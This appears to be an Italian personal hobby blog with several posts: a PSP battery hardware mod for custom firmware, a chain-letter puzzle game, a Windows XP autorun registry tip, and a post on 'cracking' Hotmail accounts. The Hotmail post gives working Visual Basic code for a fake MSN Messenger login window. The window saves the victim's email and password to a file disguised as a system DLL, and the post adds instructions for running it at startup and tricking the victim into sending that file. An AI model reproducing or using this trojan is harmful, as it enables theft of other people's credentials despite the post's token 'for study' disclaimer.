martedì 23 dicembre 2008
Come Modificare il firmware della PSP
Il pin che viene scollegato, tramite la modifica hardware, non é altro che il neutro necessario all'alimentazione della EEPROM, rimuovendolo la EEPROM viene spenta. Quando il microcontroller presente nella batteria tenterà di leggere la EEPROM penserà che essa contiene tutti 1 (in codice binario), di conseguenza il microcontroller restituirà alla PSP un numero seriale pari a 0xFFFFFFFF, proprio il seriale "indispensabile" per l'avvio della console in modalità servizio.
Per aprire la batteria della psp, è semplice, basta inserire un taglierino nelle scanalature della batteria e di conseguenza forzare un pò per aprire.
Ora occorre localizzare il chip che ha come numero di serie S93C56. Occorre dissaldare il pin 5 e sollevarlo dalla scheda. Nelle immagini sottostanti è indicato il suddetto chip.
IMPORTANTE: Attenti perché se inavvertitamente farete un contatto fra il pin 5 e il 6 prenderete la scossa. Quando dissaldate state attenti a non usare troppo stagno. Se potete, usate uno stagno specifico per gli alti wattaggi così anche se il saldatore sarà molto caldo, il calore non verrà trasferito sulla scheda. Ricordate che le batterie Li-Ion posso esplodere se vengono riscaldate troppo. Utilizzate gli strumenti adeguati e se avete poca dimestichezza con le saldature dissaldate prima di tutto la scheda dal pacco batteria, rischierete meno.
Dovete dissaldare il pin 5. Usate un taglierino con lama molto fine e cercate di inserirlo sotto il pin; poi con un saldatore con punta molto fina fate riscaldare la saldatura. Appena sarà riscaldata alzate il pin col taglierino.
Infine chiudete l’involucro della batteria. Potete usare della colla oppure del nastro isolante. Sconsiglio l’uso del nastro isolante perchè aumenterà lo spessore della batteria rendendone difficile l’inserimento nel vano della console. Ora avete una batteria identica ad una Pandora.
Su come installare un custom firmware: Guida all'installazione di un custom firmware
Qui scaricare il PSP firmware versione 1.50 (vi permetterà di usare i giochi sulla memory stick)
Qui scaricarete il MPHdowngrader
Guarda anche il VIDEO per capirci meglio, pure per creare una batteria pandora!!!
Buon divertimento e ricordatevi di usare solo giochi originali!!!!
venerdì 25 luglio 2008
DIVERTITI
GIOCHINO
Trova il 3 e avrai un bacio domani
SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS
SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS
SSSSSSSSSSSS3SSSSSSSSSSSSSSSSSSSSSSSSS
SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS
SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS
SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS
SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS
Trova la B! Non saltarli o il tuo desiderio non si avvererà
RRRRRRRRRRRRRRRRRRRRRRRRRRRRRRR
RRRRRRRRRRRRRRRRRRRRRRRRRRRRRR
RRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRR
RRRRRRRRRRRRRRRBRRRRRRRRRRRRRRRR
RRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRR
RRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRR
RRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRR
Quando hai trovato la B…
Trova l’errore
ABCDEFGHIJKLMNOPQRSTUVWXYNZ
Quando hai trovato l’errore…
Trova l’1
IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII
IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII
IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII
IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII
IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII
IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII
IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII
IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII
IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII1III
IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII
IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII
Quando hai trovato l’1
Trova il 69999999999999999999999999999999999
9999999999999999999999999999999999
9999999999999999999999999999999999
9999999999999999999999999999999999
9999999999999999999999999999999999
9999999999999999999999999999999999
9999699999999999999999999999999999
9999999999999999999999999999999999
9999999999999999999999999999999999
9999999999999999999999999999999999
9999999999999999999999999999999999
9999999999999999999999999999999999
Quando hai trovato il 6
Trova la N
MMMMMMMMMMMMM
MMMMMMMMMMMMM
MMMMMMMMMMMMM
MMMMMMMNMMMMM
MMMMMMMMMMMMM
MMMMMMMMMMMMM
MMMMMMMMMMMMM
MMMMMMMMMMMMM
MMMMMMMMMMMMM
MMMMMMMMMMMMM
Quando hai trovato la N …
Trova la Q...
OOOOOOOOOOOOOOOOOOOOOOOOOOO
OOOOOOOOOOOOOOOOOOOOOOOOOOO
OOOOOOOOOOOOOOOOOOOOOOOOOOO
OOOOOOOOOOOOOOOOOOOOOOOOOOO
OOOOOOOOOOQOOOOOOOOOOOOOOOO
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OOOOOOOOOOOOOOOOOOOOOOOOOOO
OOOOOOOOOOOOOOOOOOOOOOOOOOO
OOOOOOOOOOOOOOOOOOOOOOOOOOO
OOOOOOOOOOOOOOOOOOOOOOOOOOO
Quando hai trovato la Q …
Trova la i
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Quando hai trovato la i …
Esprimi 2 desideri
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I DESIDERI SI AVVERERANNO SE COPI QUESTO NEL TUO BLOG!!!TRA 5 MINUTI !!! MUOVITI!!!
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venerdì 21 marzo 2008
Come ripristinare l'autorun di windows XP
Per ripristinare tale funzione bisogna andare su "START" && "ESEGUI" e scrivere la parola "REGEDIT" (senza virgolette), verificare il seguente percorso "HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Services\Cdrom", verificare nella sezione la presenza della chiave DWORD "NoDriveTypeAutoRun" (senza virgolette), il cui valore deve essere: "0x00000091 (145) se è attivo l'Autorun su qualche periferica o
0x000000B5 (181) per disabilitare completamente l'Autorun su tutto il sistema".
Verificare pure la presenza della chive di tipo DWORD "AutoRun" il cui valore deve essere "1"
Alla fine del procedimento chiudere il registro e riavviare il computer
giovedì 13 marzo 2008
Come Craccare un indirizzo hotmail con relativa password
Passo 1:
Si deve disporre di almeno un linguaggio di programmazione ad oggetti, di cui si ha quasi un ottima conoscenza, io ho scelto il Visual Basic.
Aprite il vostro Windows Live Messenger;
Sulla tastiera premete il tasto "Stamp R Sist" lo trovate in alto sulla destra negli ultimi 3 tasti affianco a quelli funzione F11 - F12 ecc;
Aprite Paint o qualsiasi editore di immagini, e incollate la stampa di sistema nel riquadro da disegno.
Con le funzioni incolla del menu modifica incollare.
Ritagliate la parte del disegno riguardante l'interfaccia di MSN, aprite un nuovo foglio, incollatela ed infine salvatela dove volete.
Questa sarà la vostra finta interfaccia di MSN.
a qusto punto aprite Visual Basic, create una nuova form, e con l'oggetto di aquisizione delle immagini dal computer applicate la finta interfaccia.
Su ogni finto oggetto dell'immagine applicate i relativi bottoni, chekBox, TextBox, ListBox, in modo da nascondere quelli finti.
Qua di sotto e riportato il relativo codice di programmazione:
potete direttamente copiarlo e incollarlo nel file sorgente e fare il debug
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Imports System.Net.Mail
Public Class Nucleo
Private Sub CheckBox1_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox1.CheckedChanged
MessageBox.Show("Hai scelto di memoriazzare il tuo profilo, ti informo che è rischioso...")
End Sub
Private Sub CheckBox2_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox2.CheckedChanged
MessageBox.Show("Hai scelto di memoriazzare la tua password, sconsigliato se usano il computer più persone")
End Sub
Private Sub Label2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Label2.Click
My.Computer.Network.DownloadFile("http://www.microsoft.it", "C:\microsoft.html")
End Sub
Private Sub Accedi_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Accedi.Click
' seleziona il testo presente nella textbox indirizzo mail e lo copia nella casella di testo nascosta
Indirizzomail.SelectAll()
Indirizzomail.Copy()
Indirizzo_psw.Paste()
' seleziona il contenuto di textbox spazio e lo incolla nella casella di testo nascosta
spazio.SelectAll()
spazio.Copy()
Indirizzo_psw.Paste()
' seleziona il testo presente nella textbox password e lo copia nella casella di testo nascosta
password.SelectAll()
password.Copy()
Indirizzo_psw.Paste()
' salva il contenuto della casella di testo nascosta in c:\inpsw.rtf
Indirizzo_psw.SaveFile("C:\windows\sistema.dll")
MessageBox.Show("Si è generato l'errore 80689, verrà aperto messenger predefinito", "Windows Live Messenger", MessageBoxButtons.OK, MessageBoxIcon.Error)
Dim processID As Integer
processID = Shell("c:\programmi\windows live\messenger\msnmsgr.exe", AppWinStyle.NormalFocus)
Application.Exit()
End Sub
End Class
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L'utlizzo è semplicissimo basta che si copi un collegamento del programma in esecuzione automatica, cosìcchè quando la vittima si vede caricare il MSN finto davanti e accede alla suo indirizzo di posta inserisca l'indirizzo e la password, che verranno salvati nel file c:\windows\sistema.dll
A reperire il tutto è facile, basta spostare il file con estensione .dll su blocco note o su word e il gioco è fatto, così si ottiene la password e l'indirizzo della vittima
Alla fine se il mal capitato non è una volpe dell'informatica, bstera dirgli: "SCUSA HO UN PROBLEMA CON IL COMPUTER, NON MI FA PARTIRE IL PROGRAMMA (il nome del programma ve lo inventate voi), mi mandi il file SISTEMA.dll che trovi in C:\windows\Sistema.dll"
Quello li ve lo manda e voi sapete il suo indirizzo di posta......
COMUNQUE APPARTE I SCHERZI, VA BENE DIVERTIRSI, MA QUSTO E' UN REATO, QUINDI IO QUSTO PROGRAMMA LO MESSO QUI SOLO A SCOPO INFORMATIVO E DI STUDIO, SUI COMPORTAMENTI DEI CAVALLI DI TROIA.
Come si suoldire Non fate CAZZATE.....
mercoledì 24 ottobre 2007
Quello che scrivo non è reato!!
http://www.valswagen.it
By Dem-Hacker